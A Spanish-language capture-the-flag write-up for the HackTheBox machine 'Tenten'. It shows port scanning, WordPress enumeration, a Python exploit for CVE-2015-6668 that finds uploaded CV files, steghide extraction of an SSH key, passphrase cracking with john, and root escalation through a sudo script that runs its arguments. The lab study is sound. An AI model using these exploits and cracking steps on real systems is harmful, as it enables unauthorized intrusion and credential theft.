Inicio HTB - Tenten
Entrada
Cancelar

HTB - Tenten

¡Hola! Vamos a resolver de la máquina Tenten de dificultad “Media” de la plataforma HackTheBox.

Técnicas Vistas:

  • Wordpress Enumeration
  • CV filename disclosure on Job-Manager Wordpress Plugin [CVE-2015-6668]
  • Steganography Challenge (Steghide)
  • Cracking Hashes [Protected SSH Private Key]
  • Abusing sudoers privilege

Preparación Entorno


Antes de iniciar la fase de enumeración y reconocimiento procederemos a crear un directorio de trabajo con el nombre Tenten. Una vez creado accedemos al directorio y con la ayuda de la función que tenemos definida en la zshrc mkt crearemos cuatro directorios de trabajo nmap, content, exploits y scripts donde almacenaremos de una manera ordenada toda la información que vayamos recopilando de la máquina en función de su naturaleza.

1
2
3
function mkt(){
    mkdir {nmap,content,exploits,scripts}
}

Reconocimiento


Accedemos al directorio de trabajo nmap e iniciamos nuestra fase de reconocimiento realizando un ping a la IP de la máquina para comprobar que esté activa y detectamos su sistema operativo basándonos en el ttl de una traza ICMP.

1
2
3
4
5
6
7
❯ ping -c 1 10.10.10.10
PING 10.10.10.10 (10.10.10.10) 56(84) bytes of data.
64 bytes from 10.10.10.10: icmp_seq=1 ttl=63nma time=42.3 ms

--- 10.10.10.10 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 42.314/42.314/42.314/0.000 ms

Identificamos que es una maquina Linux debido a su ttl (time to live) correspondiente a 63 (Disminuye en 1 debido a que realiza un salto adicional en el entorno de HackTHeBox).

  • TTL => 64 Linux
  • TTL => 128 Windows

Continuamos con la enumeración de los 65535 puertos en la máquina.

1
2
3
4
5
nmap -p- --open --min-rate 5000 -vvv -n -Pn 10.10.10.10 -oG allPorts

PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack ttl 63
80/tcp open  http    syn-ack ttl 63

Luego de identificar los puertos abiertos OPEN, se procede a escanear servicios y versiones que puedan estar corriendo en los puertos abiertos detectados.

1
2
3
4
5
6
7
8
9
10
11
12
13
nmap -sCV -p21,80 10.10.10.10 -oN targeted

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 ec:f7:9d:38:0c:47:6f:f0:13:0f:b9:3b:d4:d6:e3:11 (RSA)
|   256 cc:fe:2d:e2:7f:ef:4d:41:ae:39:0e:91:ed:7e:9d:e7 (ECDSA)
|_  256 8d:b5:83:18:c0:7c:5d:3d:38:df:4b:e1:a4:82:8a:07 (ED25519)
80/tcp open  http    Apache httpd 2.4.18
|_http-title: Job Portal – Just another WordPress site
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-generator: WordPress 4.7.3
Service Info: Host: 127.0.1.1; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Reconocimiento Web


Iniciamos el reconocimiento del servicio web con la herramienta whatweb la cual nos muestra información sobre las tecnologías web que incluyen sistemas de gestión de contenido (CMS), plataformas de blogs, paquetes de estadísticas / análisis, bibliotecas JavaScript, servidores web y dispositivos integrados.

1
2
3
4
❯ whatweb http://10.10.10.10

http://10.10.10.10 [301 Moved Permanently] Apache[2.4.18], Country[RESERVED][ZZ], HTTPServer[Ubuntu Linux][Apache/2.4.18 (Ubuntu)], IP[10.129.211.179], RedirectLocation[http://tenten.htb/], Title[301 Moved Permanently]
ERROR Opening: http://tenten.htb/ - no address for tenten.htb

Vemos que redirige al dominio tenten.htb por lo que procedemos a agregar la info a nuestro /etc/hosts y repetetimos escaneo

1
2
 whatweb http://tenten.htb
http://tenten.htb [200 OK] Apache[2.4.18], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.18 (Ubuntu)], IP[10.129.211.179], JQuery[1.12.4], MetaGenerator[WordPress 4.7.3], PoweredBy[WordPress,WordPress,], Script[text/javascript], Title[Job Portal &8211; Just another WordPress site], UncommonHeaders[link], WordPress[4.7.3]

Observamos que el servicio web corre bajo WordPress, vamos a echarle un vistazo…

Reconocimiento WordPress


Como en casi todos los WordPress podemos enumerar usuarios válidos viendo quien ha publicado posts. En este caso localizamos al usuario takis

De momento no tenemos credenciales válidas así que seguimos con el reconocimiento. Accedemos al menú de Job Listing y vemos un anuncio de trabajo para Pentester, como es el trabajo de nuestros sueños rápidamente hacemos click en Apply Now y accedeemos a un formulario donde rellenar nuestros datos para solicitar el empleo

Nos llama la atención la url. Cambiamos el 8 por un 1 y vemos que podemos acceder a otros registros que en un principio no podíamos ver

Vamos a crear un pequeño script en el que vamos a poder lisar todas las posibles entradas

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
for i in {1..20};do echo "[+] Para el número $i: $(curl -s -X GET "http://tenten.htb/index.php/jobs/apply/$i/" | html2text | grep "Job Application" | awk '{print $2}' FS=":")";done
[+] Para el número 1:  Hello world! ******
[+] Para el número 2:  Sample Page ******
[+] Para el número 3:  Auto Draft ******
[+] Para el número 4: 
[+] Para el número 5:  Jobs Listing ******
[+] Para el número 6:  Job Application ******
[+] Para el número 7:  Register ******
[+] Para el número 8:  Pen Tester ******
[+] Para el número 9:  ******
[+] Para el número 10:  Application ******
[+] Para el número 11:  cube ******
[+] Para el número 12:  Application ******
[+] Para el número 13:  HackerAccessGranted ******
[+] Para el número 14: 
[+] Para el número 15: 
[+] Para el número 16: 
[+] Para el número 17: 
[+] Para el número 18: 
[+] Para el número 19: 
[+] Para el número 20: 

Vamos a proceder a enumerar posibles plugins de WordPress. Para ello vamos a fuzzear con el diccionario de wp-plugins.fuzz.txt que se encuentra dentro del repo de SecLists

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
wfuzz -c -t 200 --hc=404 -w /usr/share/SecLists/Discovery/Web-Content/CMS/wp-plugins.fuzz.txt  http://tenten.htb/FUZZ

********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://tenten.htb/FUZZ
Total requests: 13368

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                                                                                   
=====================================================================

000000468:   200        0 L      0 W        0 Ch        "wp-content/plugins/akismet/"                                                                                             
000004593:   500        0 L      0 W        0 Ch        "wp-content/plugins/hello.php/"                                                                                           
000004592:   500        0 L      0 W        0 Ch        "wp-content/plugins/hello.php"                                                                                            
000005242:   403        11 L     32 W       316 Ch      "wp-content/plugins/job-manager/"                                                                                         

Explotación


Procedemos a buscar vulnerabilidades del plugin job-manager y encontramos un sitio donde vemos que podemos enumerar los posibles CV’s subidos a WordPress. Tenemos un enlace a una página que no existe pero mediante la web WayBack Machine encontramos una snapshot que podemos ver y extraemos el siguiente script en Python2 el cual vamos a adaptar a Python3

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#!/usr/bin/python3

import requests

print ("""  
CVE-2015-6668  
Title: CV filename disclosure on Job-Manager WP Plugin  
Author: Evangelos Mourikis  
Blog: https://vagmour.eu  
Plugin URL: http://www.wp-jobmanager.com  
Versions: <=0.7.25  
""") 
website = input('Enter a vulnerable website: ')  
filename = input('Enter a file name: ')

filename2 = filename.replace(" ", "-")

for year in range(2017,2022):  
    for i in range(1,13):
        for extension in {'doc','pdf','docx','jpg'}:
            URL = website + "/wp-content/uploads/" + str(year) + "/" + "{:02}".format(i) + "/" + filename2 + "." + extension
            req = requests.get(URL)
            if req.status_code==200:
                print ("[+] URL of CV found! " + URL)

Ejecutamos el script y nos pide url y file name y aquí es donde entra en juego la enumeración que realizamos anteriormente en donde localizamos la entrada HackerAccessGranted

1
2
3
4
5
6
7
8
9
10
11
12
❯ python3 exploit.py
  
CVE-2015-6668  
Title: CV filename disclosure on Job-Manager WP Plugin  
Author: Evangelos Mourikis  
Blog: https://vagmour.eu  
Plugin URL: http://www.wp-jobmanager.com  
Versions: <=0.7.25  

Enter a vulnerable website: http://tenten.htb
Enter a file name: HackerAccessGranted 
[+] URL of CV found! http://tenten.htb/wp-content/uploads/2017/04/HackerAccessGranted.jpg

Nos descargamos la imagen proporcionada en los resultados del script y procedemos mediante la herramienta steghide a enumerar posibles archivos escondidos en la imagen

1
2
3
4
5
6
7
8
9
10
❯ steghide info HackerAccessGranted.jpg
"HackerAccessGranted.jpg":
  formato: jpeg
  capacidad: 15,2 KB
Intenta informarse sobre los datos adjuntos? (s/n) s
Anotar salvoconducto: 
  archivo adjunto "id_rsa":
    tamao: 1,7 KB
    encriptado: rijndael-128, cbc
    compactado: si

Encontramos un archiv id_rsa con una clave privada en la imagen. Procedemos a extraer el archivo

1
2
3
4
5
❯ steghide extract -sf HackerAccessGranted.jpg
Anotar salvoconducto: 
anot los datos extrados e/"id_rsa".ls
 HackerAccessGranted.jpg   id_rsa

Vemos en el contenido del archivo id_rsa que está protegido con contraseña. Con la herramienta ssh2john.py extraemos el hash para seguidamente con john y el diccionario rockyou.txt conseguimos la contraseña del archivo id_rsa

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
❯ python2 /usr/share/john/ssh2john.py id_rsa > hash
❯ john -w:/usr/share/wordlists/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 4 OpenMP threads
Note: This format may emit false positives, so it will keep trying even after
finding a possible candidate.
Press 'q' or Ctrl-C to abort, almost any other key for status
************d    (id_rsa)
Warning: Only 2 candidates left, minimum 4 needed for performance.
1g 0:00:00:03 DONE (2022-11-06 17:32) 0.2506g/s 3594Kp/s 3594Kc/s 3594KC/sa6_123..*7¡Vamos!
Session completed

Una vez obtenida la password nos podemos conectar mediante ssh con el usuario takis

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
❯ ssh -i id_rsa takis@10.10.10.10
Enter passphrase for key 'id_rsa': 
Welcome to Ubuntu 16.04.2 LTS (GNU/Linux 4.4.0-62-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

65 packages can be updated.
39 updates are security updates.


Last login: Fri May  5 23:05:36 2017
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.

takis@tenten:~$ 

Accedemos a la flag y leemos su contenido con cat

1
2
takis@tenten:~$ cat user.txt 
9df4680d7b9ce6ac1***************

Escalada Privilegios


Listando posibles archivos que podamos ejecutar con privilegio de root vemos un script /bin/fuckin

1
2
3
4
5
6
7
takis@tenten:~$ sudo -l
Matching Defaults entries for takis on tenten:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User takis may run the following commands on tenten:
    (ALL : ALL) ALL
    (ALL) NOPASSWD: /bin/fuckin

Observamos su contenido y al ejecutarlo te pide que le pases 4 argumentos los cuales ejecutará. Probamos…

1
2
3
4
5
takis@tenten:~$ cat /bin/fuckin
#!/bin/bash
$1 $2 $3 $4
takis@tenten:~$ /bin/fuckin whoami
takis

Como lo podemos ejecutar como root directamente tratamos de lanzar una bash con privilegios de root

1
2
3
takis@tenten:~$ sudo /bin/fuckin bash
root@tenten:~# whoami
root

Ya sólo nos queda leer la flag de root

1
2
3
4
5
root@tenten:~# cd /root
root@tenten:/root# ls
root.txt
root@tenten:/root# cat root.txt 
9d350f5c396850014***************

Hemos completado la máquina Devel de HackTheBox!! Happy Hacking!!

Esta entrada está licenciada bajo CC BY 4.0 por el autor.